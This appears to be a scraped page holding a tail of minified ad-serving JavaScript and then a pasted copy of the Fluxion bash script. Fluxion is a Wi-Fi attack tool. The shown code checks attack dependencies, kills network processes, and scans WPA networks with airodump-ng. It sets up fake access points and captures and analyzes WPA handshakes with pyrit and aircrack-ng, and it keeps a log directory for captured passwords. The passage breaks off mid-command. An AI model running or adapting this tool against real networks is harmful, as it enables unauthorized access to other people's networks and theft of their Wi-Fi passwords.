m=f.replace(/(^\/)|(\/$)/g,&quot;&quot;);;){var n=ob(m);if(e[n]){g=e[n];break b}if(!m){g=null;break b}m=m.substring(0,m.lastIndexOf(&quot;/&quot;))}}var p;if(p=g)a:{var q=dc(g,2);if(q)for(g=0;g&lt;q.length;g++)if(1==q[g]){p=!0;break a}p=!1}if(p){var u=new Kd;(new Od(new Gd(a,b),u)).start();var z=u.l;var J=ta(Rd,l);if(z.ca)throw Error(&quot;Then functions already set.&quot;);z.ca=ta(Qd,l);z.sa=J;Md(z)}}catch(da){kd(l,{atf:-1})}}},Xg=function(){var a=document.createElement(&quot;ins&quot;);a.className=&quot;adsbygoogle&quot;;a.style.display=&quot;none&quot;;return a},Yg=function(a){var b={};Hb(Tb,function(c,d){!1===a.enable_page_level_ads?b[d]=!1:a.hasOwnProperty(d)&amp;&amp;(b[d]=a[d])});pa(a.enable_page_level_ads)&amp;&amp;(b.page_level_pubvars=a.enable_page_level_ads);var c=Xg();wa.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);Tg(c,d)},Zg=function(a){var b=Rb(window);if(!b)throw new H(&quot;Page-level tag does not work inside iframes.&quot;);b.google_reactive_ads_global_state||(b.google_reactive_ads_global_state=new Sd);b.google_reactive_ads_global_state.wasPlaTagProcessed=!0;wa.body?Yg(a):Bb(wa,&quot;DOMContentLoaded&quot;,fd(191,function(){Yg(a)}))},ah=function(a){var b={};ed(165,hd,function(){$g(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})},$g=function(a,b){va=(new Date).getTime();a:{if(void 0!=a.enable_page_level_ads){if(na(a.google_ad_client)){var c=!0;break a}throw new H(&quot;&#039;google_ad_client&#039; is missing from the tag config.&quot;)}c=!1}if(c)0===Og&amp;&amp;(Og=1),Wg(a.google_ad_client),Zg(a);else{0===Og&amp;&amp;(Og=2);c=a.element;(a=a.params)&amp;&amp;Hb(a,function(a,c){b[c]=a});if(&quot;js&quot;===b.google_ad_output){l.google_ad_request_done_fns=l.google_ad_request_done_fns||[];l.google_radlink_request_done_fns=l.google_radlink_request_done_fns||[];if(b.google_ad_request_done){if(&quot;function&quot;!=t(b.google_ad_request_done))throw new H(&quot;google_ad_request_done parameter must be a function.&quot;);l.google_ad_request_done_fns.push(b.google_ad_request_done);delete b.google_ad_request_done;b.google_ad_request_done_index=l.google_ad_request_done_fns.length-1}else throw new H(&quot;google_ad_request_done parameter must be specified.&quot;);if(b.google_radlink_request_done){if(&quot;function&quot;!=t(b.google_radlink_request_done))throw new H(&quot;google_radlink_request_done parameter must be a function.&quot;);l.google_radlink_request_done_fns.push(b.google_radlink_request_done);delete b.google_radlink_request_done;b.google_radlink_request_done_index=l.google_radlink_request_done_fns.length-1}a=Xg();l.document.documentElement.appendChild(a);c=a}if(c){if(!Rg(c)&amp;&amp;(c.id?c=Vg(c.id):c=null,!c))throw new H(&quot;&#039;element&#039; has already been filled.&quot;);if(!(&quot;innerHTML&quot;in c))throw new H(&quot;&#039;element&#039; is not a good DOM element.&quot;)}else if(c=Vg(),!c)throw new H(&quot;All ins elements in the DOM with class=adsbygoogle already have ads in them.&quot;);Tg(c,b)}},ch=function(){dd();ed(166,id,bh)},bh=function(){var a=Eb(Db(v))||v;Be(a);ad(B(v,ee.B)||B(v,ce.B)||B(v,ce.da));Gg();if(B(v,ne.ha)||B(v,ne.Z)||B(v,ne.ga)||B(v,ne.fa))zg(),wg(&quot;.google.co.id&quot;)&amp;&amp;(X[1]=&quot;.google.co.id&quot;),B(v,ne.Z)?(a=cb(),Cg(a),Bg(a)):Bg(null);if((a=window.adsbygoogle)&amp;&amp;a.shift)try{for(var b,c=20;0&lt;a.length&amp;&amp;(b=a.shift())&amp;&amp;0&lt;c;)ah(b),--c}catch(d){throw window.setTimeout(ch,0),d}if(!a||!a.loaded){B(v,pe.u)&amp;&amp;(b=qd()?Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;):zb(),tg(Pb().document,b,&quot;preconnect&quot;));window.adsbygoogle={push:ah,loaded:!0};a&amp;&amp;dh(a.onload);try{Object.defineProperty(window.adsbygoogle,&quot;onload&quot;,{set:dh})}catch(d){}}},dh=function(a){Jb(a)&amp;&amp;window.setTimeout(a,0)};ch()}).call(this) //]]&gt; </script>

    From user edipurmail

  • emersonmafra / f

    unknown-21-m, #!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print 